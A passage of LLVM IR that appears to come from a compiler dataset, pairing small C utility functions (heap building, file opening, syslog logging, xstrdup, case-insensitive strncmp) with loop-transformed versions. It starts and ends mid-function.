%16 = call i32 @assert(i32 noundef %15)
%17 = load i32, ptr %5, align 4
%18 = load i32, ptr %6, align 4
%19 = icmp slt i32 %17, %18
br i1 %19, label %20, label %22
20: ; preds = %13
%21 = load i32, ptr %5, align 4
br label %23
22: ; preds = %13
br label %23
23: ; preds = %22, %20
%24 = phi i32 [ %21, %20 ], [ -1, %22 ]
ret i32 %24
}
declare i32 @assert(i32 noundef) #1
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
|
; ModuleID = '/tmp/tmp53rk0s0l.c'
source_filename = "/tmp/tmp53rk0s0l.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local void @build_max_heap(ptr noundef %0, i32 noundef %1) #0 {
%3 = alloca ptr, align 8
%4 = alloca i32, align 4
%5 = alloca i32, align 4
store ptr %0, ptr %3, align 8
store i32 %1, ptr %4, align 4
%6 = load i32, ptr %4, align 4
%7 = sub nsw i32 %6, 1
%8 = sdiv i32 %7, 2
store i32 %8, ptr %5, align 4
br label %9
9: ; preds = %17, %2
%10 = load i32, ptr %5, align 4
%11 = icmp sge i32 %10, 0
br i1 %11, label %12, label %20
12: ; preds = %9
%13 = load ptr, ptr %3, align 8
%14 = load i32, ptr %5, align 4
%15 = load i32, ptr %4, align 4
%16 = call i32 @max_heapify(ptr noundef %13, i32 noundef %14, i32 noundef %15)
br label %17
17: ; preds = %12
%18 = load i32, ptr %5, align 4
%19 = add nsw i32 %18, -1
store i32 %19, ptr %5, align 4
br label %9, !llvm.loop !6
20: ; preds = %9
ret void
}
declare i32 @max_heapify(ptr noundef, i32 noundef, i32 noundef) #1
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
!6 = distinct !{!6, !7}
!7 = !{!"llvm.loop.mustprogress"}
|
; ModuleID = '<stdin>'
source_filename = "/tmp/tmp53rk0s0l.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local void @build_max_heap(ptr noundef %0, i32 noundef %1) #0 {
%3 = alloca ptr, align 8
%4 = alloca i32, align 4
%5 = alloca i32, align 4
store ptr %0, ptr %3, align 8
store i32 %1, ptr %4, align 4
%6 = load i32, ptr %4, align 4
%7 = sub nsw i32 %6, 1
%8 = sdiv i32 %7, 2
store i32 %8, ptr %5, align 4
%9 = load i32, ptr %5, align 4
%10 = icmp sge i32 %9, 0
br i1 %10, label %.lr.ph, label %21
.lr.ph: ; preds = %2
br label %11
11: ; preds = %.lr.ph, %16
%12 = load ptr, ptr %3, align 8
%13 = load i32, ptr %5, align 4
%14 = load i32, ptr %4, align 4
%15 = call i32 @max_heapify(ptr noundef %12, i32 noundef %13, i32 noundef %14)
br label %16
16: ; preds = %11
%17 = load i32, ptr %5, align 4
%18 = add nsw i32 %17, -1
store i32 %18, ptr %5, align 4
%19 = load i32, ptr %5, align 4
%20 = icmp sge i32 %19, 0
br i1 %20, label %11, label %._crit_edge, !llvm.loop !6
._crit_edge: ; preds = %16
br label %21
21: ; preds = %._crit_edge, %2
ret void
}
declare i32 @max_heapify(ptr noundef, i32 noundef, i32 noundef) #1
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
!6 = distinct !{!6, !7}
!7 = !{!"llvm.loop.mustprogress"}
|
; ModuleID = '/tmp/tmphof_8vo2.c'
source_filename = "/tmp/tmphof_8vo2.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
@.str = private unnamed_addr constant [3 x i8] c"rb\00", align 1
@stderr = dso_local global i32 0, align 4
@.str.1 = private unnamed_addr constant [31 x i8] c"Failed to open input file: %s\0A\00", align 1
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local ptr @open_input_file(ptr noundef %0) #0 {
%2 = alloca ptr, align 8
%3 = alloca ptr, align 8
%4 = alloca ptr, align 8
store ptr %0, ptr %3, align 8
%5 = load ptr, ptr %3, align 8
%6 = call ptr @fopen(ptr noundef %5, ptr noundef @.str)
store ptr %6, ptr %4, align 8
%7 = icmp ne ptr %6, null
br i1 %7, label %8, label %10
8: ; preds = %1
%9 = load ptr, ptr %4, align 8
store ptr %9, ptr %2, align 8
br label %14
10: ; preds = %1
%11 = load i32, ptr @stderr, align 4
%12 = load ptr, ptr %3, align 8
%13 = call i32 @fprintf(i32 noundef %11, ptr noundef @.str.1, ptr noundef %12)
store ptr null, ptr %2, align 8
br label %14
14: ; preds = %10, %8
%15 = load ptr, ptr %2, align 8
ret ptr %15
}
declare ptr @fopen(ptr noundef, ptr noundef) #1
declare i32 @fprintf(i32 noundef, ptr noundef, ptr noundef) #1
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
|
; ModuleID = '<stdin>'
source_filename = "/tmp/tmphof_8vo2.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
@.str = private unnamed_addr constant [3 x i8] c"rb\00", align 1
@stderr = dso_local global i32 0, align 4
@.str.1 = private unnamed_addr constant [31 x i8] c"Failed to open input file: %s\0A\00", align 1
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local ptr @open_input_file(ptr noundef %0) #0 {
%2 = alloca ptr, align 8
%3 = alloca ptr, align 8
%4 = alloca ptr, align 8
store ptr %0, ptr %3, align 8
%5 = load ptr, ptr %3, align 8
%6 = call ptr @fopen(ptr noundef %5, ptr noundef @.str)
store ptr %6, ptr %4, align 8
%7 = icmp ne ptr %6, null
br i1 %7, label %8, label %10
8: ; preds = %1
%9 = load ptr, ptr %4, align 8
store ptr %9, ptr %2, align 8
br label %14
10: ; preds = %1
%11 = load i32, ptr @stderr, align 4
%12 = load ptr, ptr %3, align 8
%13 = call i32 @fprintf(i32 noundef %11, ptr noundef @.str.1, ptr noundef %12)
store ptr null, ptr %2, align 8
br label %14
14: ; preds = %10, %8
%15 = load ptr, ptr %2, align 8
ret ptr %15
}
declare ptr @fopen(ptr noundef, ptr noundef) #1
declare i32 @fprintf(i32 noundef, ptr noundef, ptr noundef) #1
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
|
; ModuleID = '/tmp/tmpqyoumyyv.c'
source_filename = "/tmp/tmpqyoumyyv.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
@.str = private unnamed_addr constant [6 x i8] c"mysar\00", align 1
@LOG_CONS = dso_local global i32 0, align 4
@LOG_PID = dso_local global i32 0, align 4
@LOG_NDELAY = dso_local global i32 0, align 4
@LOG_LOCAL1 = dso_local global i32 0, align 4
@LOG_ERR = dso_local global i32 0, align 4
@.str.1 = private unnamed_addr constant [3 x i8] c"%s\00", align 1
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local void @MySAR_syslog(ptr noundef %0) #0 {
%2 = alloca ptr, align 8
store ptr %0, ptr %2, align 8
%3 = load i32, ptr @LOG_CONS, align 4
%4 = load i32, ptr @LOG_PID, align 4
%5 = or i32 %3, %4
%6 = load i32, ptr @LOG_NDELAY, align 4
%7 = or i32 %5, %6
%8 = load i32, ptr @LOG_LOCAL1, align 4
%9 = call i32 @openlog(ptr noundef @.str, i32 noundef %7, i32 noundef %8)
%10 = load i32, ptr @LOG_ERR, align 4
%11 = load ptr, ptr %2, align 8
%12 = call i32 @syslog(i32 noundef %10, ptr noundef @.str.1, ptr noundef %11)
%13 = call i32 (...) @closelog()
ret void
}
declare i32 @openlog(ptr noundef, i32 noundef, i32 noundef) #1
declare i32 @syslog(i32 noundef, ptr noundef, ptr noundef) #1
declare i32 @closelog(...) #1
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
|
; ModuleID = '<stdin>'
source_filename = "/tmp/tmpqyoumyyv.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
@.str = private unnamed_addr constant [6 x i8] c"mysar\00", align 1
@LOG_CONS = dso_local global i32 0, align 4
@LOG_PID = dso_local global i32 0, align 4
@LOG_NDELAY = dso_local global i32 0, align 4
@LOG_LOCAL1 = dso_local global i32 0, align 4
@LOG_ERR = dso_local global i32 0, align 4
@.str.1 = private unnamed_addr constant [3 x i8] c"%s\00", align 1
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local void @MySAR_syslog(ptr noundef %0) #0 {
%2 = alloca ptr, align 8
store ptr %0, ptr %2, align 8
%3 = load i32, ptr @LOG_CONS, align 4
%4 = load i32, ptr @LOG_PID, align 4
%5 = or i32 %3, %4
%6 = load i32, ptr @LOG_NDELAY, align 4
%7 = or i32 %5, %6
%8 = load i32, ptr @LOG_LOCAL1, align 4
%9 = call i32 @openlog(ptr noundef @.str, i32 noundef %7, i32 noundef %8)
%10 = load i32, ptr @LOG_ERR, align 4
%11 = load ptr, ptr %2, align 8
%12 = call i32 @syslog(i32 noundef %10, ptr noundef @.str.1, ptr noundef %11)
%13 = call i32 (...) @closelog()
ret void
}
declare i32 @openlog(ptr noundef, i32 noundef, i32 noundef) #1
declare i32 @syslog(i32 noundef, ptr noundef, ptr noundef) #1
declare i32 @closelog(...) #1
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
|
; ModuleID = '/tmp/tmpo1c0pog3.c'
source_filename = "/tmp/tmpo1c0pog3.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
@.str = private unnamed_addr constant [8 x i8] c"xstrdup\00", align 1
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local ptr @xstrdup(ptr noundef %0) #0 {
%2 = alloca ptr, align 8
%3 = alloca ptr, align 8
store ptr %0, ptr %2, align 8
%4 = load ptr, ptr %2, align 8
%5 = call i64 @strlen(ptr noundef %4)
%6 = add nsw i64 %5, 1
%7 = call ptr @xalloc(i64 noundef %6)
store ptr %7, ptr %3, align 8
%8 = load ptr, ptr %3, align 8
%9 = icmp ne ptr %8, null
br i1 %9, label %12, label %10
10: ; preds = %1
%11 = call i32 @die(ptr noundef @.str)
br label %12
12: ; preds = %10, %1
%13 = load ptr, ptr %3, align 8
%14 = load ptr, ptr %2, align 8
%15 = call i32 @strcpy(ptr noundef %13, ptr noundef %14)
%16 = load ptr, ptr %3, align 8
ret ptr %16
}
declare ptr @xalloc(i64 noundef) #1
declare i64 @strlen(ptr noundef) #1
declare i32 @die(ptr noundef) #1
declare i32 @strcpy(ptr noundef, ptr noundef) #1
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
|
; ModuleID = '<stdin>'
source_filename = "/tmp/tmpo1c0pog3.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
@.str = private unnamed_addr constant [8 x i8] c"xstrdup\00", align 1
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local ptr @xstrdup(ptr noundef %0) #0 {
%2 = alloca ptr, align 8
%3 = alloca ptr, align 8
store ptr %0, ptr %2, align 8
%4 = load ptr, ptr %2, align 8
%5 = call i64 @strlen(ptr noundef %4)
%6 = add nsw i64 %5, 1
%7 = call ptr @xalloc(i64 noundef %6)
store ptr %7, ptr %3, align 8
%8 = load ptr, ptr %3, align 8
%9 = icmp ne ptr %8, null
br i1 %9, label %12, label %10
10: ; preds = %1
%11 = call i32 @die(ptr noundef @.str)
br label %12
12: ; preds = %10, %1
%13 = load ptr, ptr %3, align 8
%14 = load ptr, ptr %2, align 8
%15 = call i32 @strcpy(ptr noundef %13, ptr noundef %14)
%16 = load ptr, ptr %3, align 8
ret ptr %16
}
declare ptr @xalloc(i64 noundef) #1
declare i64 @strlen(ptr noundef) #1
declare i32 @die(ptr noundef) #1
declare i32 @strcpy(ptr noundef, ptr noundef) #1
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
|
; ModuleID = '/tmp/tmpqe9mh1gw.c'
source_filename = "/tmp/tmpqe9mh1gw.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
@stderr = dso_local global i32 0, align 4
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
|
; ModuleID = '<stdin>'
source_filename = "/tmp/tmpqe9mh1gw.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
@stderr = dso_local global i32 0, align 4
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
|
; ModuleID = '/tmp/tmpvr8s96x_.c'
source_filename = "/tmp/tmpvr8s96x_.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local i32 @strncmp(ptr noundef %0, ptr noundef %1, i64 noundef %2) #0 {
%4 = alloca i32, align 4
%5 = alloca ptr, align 8
%6 = alloca ptr, align 8
%7 = alloca i64, align 8
%8 = alloca i32, align 4
%9 = alloca i8, align 1
%10 = alloca i8, align 1
store ptr %0, ptr %5, align 8
store ptr %1, ptr %6, align 8
store i64 %2, ptr %7, align 8
store i32 0, ptr %8, align 4
br label %11
11: ; preds = %85, %3
%12 = load ptr, ptr %5, align 8
%13 = load i32, ptr %8, align 4
%14 = sext i32 %13 to i64
%15 = getelementptr inbounds i8, ptr %12, i64 %14
%16 = load i8, ptr %15, align 1
%17 = sext i8 %16 to i32
%18 = icmp ne i32 %17, 0
br i1 %18, label %19, label %32
19: ; preds = %11
%20 = load ptr, ptr %6, align 8
%21 = load i32, ptr %8, align 4
%22 = sext i32 %21 to i64
%23 = getelementptr inbounds i8, ptr %20, i64 %22
%24 = load i8, ptr %23, align 1
%25 = sext i8 %24 to i32
%26 = icmp ne i32 %25, 0
br i1 %26, label %27, label %32
27: ; preds = %19
%28 = load i32, ptr %8, align 4
%29 = sext i32 %28 to i64
%30 = load i64, ptr %7, align 8
%31 = icmp ult i64 %29, %30
br label %32
32: ; preds = %27, %19, %11
%33 = phi i1 [ false, %19 ], [ false, %11 ], [ %31, %27 ]
br i1 %33, label %34, label %88
34: ; preds = %32
%35 = load ptr, ptr %5, align 8
%36 = load i32, ptr %8, align 4
%37 = sext i32 %36 to i64
%38 = getelementptr inbounds i8, ptr %35, i64 %37
%39 = load i8, ptr %38, align 1
store i8 %39, ptr %9, align 1
%40 = load ptr, ptr %6, align 8
%41 = load i32, ptr %8, align 4
%42 = sext i32 %41 to i64
%43 = getelementptr inbounds i8, ptr %40, i64 %42
%44 = load i8, ptr %43, align 1
store i8 %44, ptr %10, align 1
%45 = load i8, ptr %9, align 1
%46 = sext i8 %45 to i32
%47 = icmp sge i32 %46, 65
br i1 %47, label %48, label %57
48: ; preds = %34
%49 = load i8, ptr %9, align 1
%50 = sext i8 %49 to i32
%51 = icmp sle i32 %50, 90
br i1 %51, label %52, label %57
52: ; preds = %48
%53 = load i8, ptr %9, align 1
%54 = sext i8 %53 to i32
%55 = add nsw i32 %54, 32
%56 = trunc i32 %55 to i8
store i8 %56, ptr %9, align 1
br label %57
57: ; preds = %52, %48, %34
%58 = load i8, ptr %10, align 1
%59 = sext i8 %58 to i32
%60 = icmp sge i32 %59, 65
br i1 %60, label %61, label %70
61: ; preds = %57
%62 = load i8, ptr %10, align 1
%63 = sext i8 %62 to i32
%64 = icmp sle i32 %63, 90
br i1 %64, label %65, label %70
65: ; preds = %61
%66 = load i8, ptr %10, align 1
%67 = sext i8 %66 to i32
%68 = add nsw i32 %67, 32
%69 = trunc i32 %68 to i8
store i8 %69, ptr %10, align 1
br label %70
70: ; preds = %65, %61, %57
%71 = load i8, ptr %9, align 1
%72 = sext i8 %71 to i32
%73 = load i8, ptr %10, align 1
%74 = sext i8 %73 to i32
%75 = icmp eq i32 %72, %74
br i1 %75, label %76, label %77
76: ; preds = %70
br label %85
77: ; preds = %70
%78 = load i8, ptr %9, align 1
%79 = sext i8 %78 to i32
%80 = load i8, ptr %10, align 1
%81 = sext i8 %80 to i32
%82 = icmp sgt i32 %79, %81
br i1 %82, label %83, label %84
83: ; preds = %77
store i32 1, ptr %4, align 4
br label %103
84: ; preds = %77
store i32 -1, ptr %4, align 4
br label %103
85: ; preds = %76
%86 = load i32, ptr %8, align 4
%87 = add nsw i32 %86, 1
store i32 %87, ptr %8, align 4
br label %11, !llvm.loop !6
88: ; preds = %32
%89 = load i64, ptr %7, align 8
%90 = load i32, ptr %8, align 4
%91 = sext i32 %90 to i64
%92 = icmp eq i64 %89, %91
br i1 %92, label %93, label %94
93: ; preds = %88
store i32 0, ptr %4, align 4
br label %103
94: ; preds = %88
%95 = load ptr, ptr %5, align 8
%96 = load i32, ptr %8, align 4
%97 = sext i32 %96 to i64
%98 = getelementptr inbounds i8, ptr %95, i64 %97
%99 = load i8, ptr %98, align 1
%100 = icmp ne i8 %99, 0
br i1 %100, label %101, label %102
101: ; preds = %94
store i32 1, ptr %4, align 4
br label %103
102: ; preds = %94
store i32 -1, ptr %4, align 4
br label %103
103: ; preds = %102, %101, %93, %84, %83
%104 = load i32, ptr %4, align 4
ret i32 %104
}
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
!6 = distinct !{!6, !7}
!7 = !{!"llvm.loop.mustprogress"}
|
; ModuleID = '<stdin>'
source_filename = "/tmp/tmpvr8s96x_.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local i32 @strncmp(ptr noundef %0, ptr noundef %1, i64 noundef %2) #0 {
%4 = alloca i32, align 4
%5 = alloca ptr, align 8
%6 = alloca ptr, align 8
%7 = alloca i64, align 8
%8 = alloca i32, align 4
%9 = alloca i8, align 1
%10 = alloca i8, align 1
store ptr %0, ptr %5, align 8
store ptr %1, ptr %6, align 8
store i64 %2, ptr %7, align 8
store i32 0, ptr %8, align 4
br label %11
11: ; preds = %85, %3
%12 = load ptr, ptr %5, align 8
%13 = load i32, ptr %8, align 4
%14 = sext i32 %13 to i64
%15 = getelementptr inbounds i8, ptr %12, i64 %14
%16 = load i8, ptr %15, align 1
%17 = sext i8 %16 to i32
%18 = icmp ne i32 %17, 0
br i1 %18, label %19, label %32
19: ; preds = %11
%20 = load ptr, ptr %6, align 8
%21 = load i32, ptr %8, align 4
%22 = sext i32 %21 to i64
%23 = getelementptr inbounds i8, ptr %20, i64 %22
%24 = load i8, ptr %23, align 1
%25 = sext i8 %24 to i32
%26 = icmp ne i32 %25, 0
br i1 %26, label %27, label %32
27: ; preds = %19
%28 = load i32, ptr %8, align 4
%29 = sext i32 %28 to i64
%30 = load i64, ptr %7, align 8
%31 = icmp ult i64 %29, %30
br label %32
32: ; preds = %27, %19, %11
%33 = phi i1 [ false, %19 ], [ false, %11 ], [ %31, %27 ]
br i1 %33, label %34, label %88
34: ; preds = %32
%35 = load ptr, ptr %5, align 8
%36 = load i32, ptr %8, align 4
%37 = sext i32 %36 to i64
%38 = getelementptr inbounds i8, ptr %35, i64 %37
%39 = load i8, ptr %38, align 1
store i8 %39, ptr %9, align 1
%40 = load ptr, ptr %6, align 8
%41 = load i32, ptr %8, align 4
%42 = sext i32 %41 to i64
%43 = getelementptr inbounds i8, ptr %40, i64 %42
%44 = load i8, ptr %43, align 1
store i8 %44, ptr %10, align 1
%45 = load i8, ptr %9, align 1
%46 = sext i8 %45 to i32
%47 = icmp sge i32 %46, 65
br i1 %47, label %48, label %57
48: ; preds = %34
%49 = load i8, ptr %9, align 1
%50 = sext i8 %49 to i32
%51 = icmp sle i32 %50, 90
br i1 %51, label %52, label %57
52: ; preds = %48
%53 = load i8, ptr %9, align 1
%54 = sext i8 %53 to i32
%55 = add nsw i32 %54, 32
%56 = trunc i32 %55 to i8
store i8 %56, ptr %9, align 1
br label %57
57: ; preds = %52, %48, %34
%58 = load i8, ptr %10, align 1
%59 = sext i8 %58 to i32
%60 = icmp sge i32 %59, 65
br i1 %60, label %61, label %70
61: ; preds = %57
%62 = load i8, ptr %10, align 1
%63 = sext i8 %62 to i32
%64 = icmp sle i32 %63, 90
br i1 %64, label %65, label %70
65: ; preds = %61
%66 = load i8, ptr %10, align 1
%67 = sext i8 %66 to i32
%68 = add nsw i32 %67, 32
%69 = trunc i32 %68 to i8
store i8 %69, ptr %10, align 1
br label %70
70: ; preds = %65, %61, %57
%71 = load i8, ptr %9, align 1
%72 = sext i8 %71 to i32
%73 = load i8, ptr %10, align 1
%74 = sext i8 %73 to i32
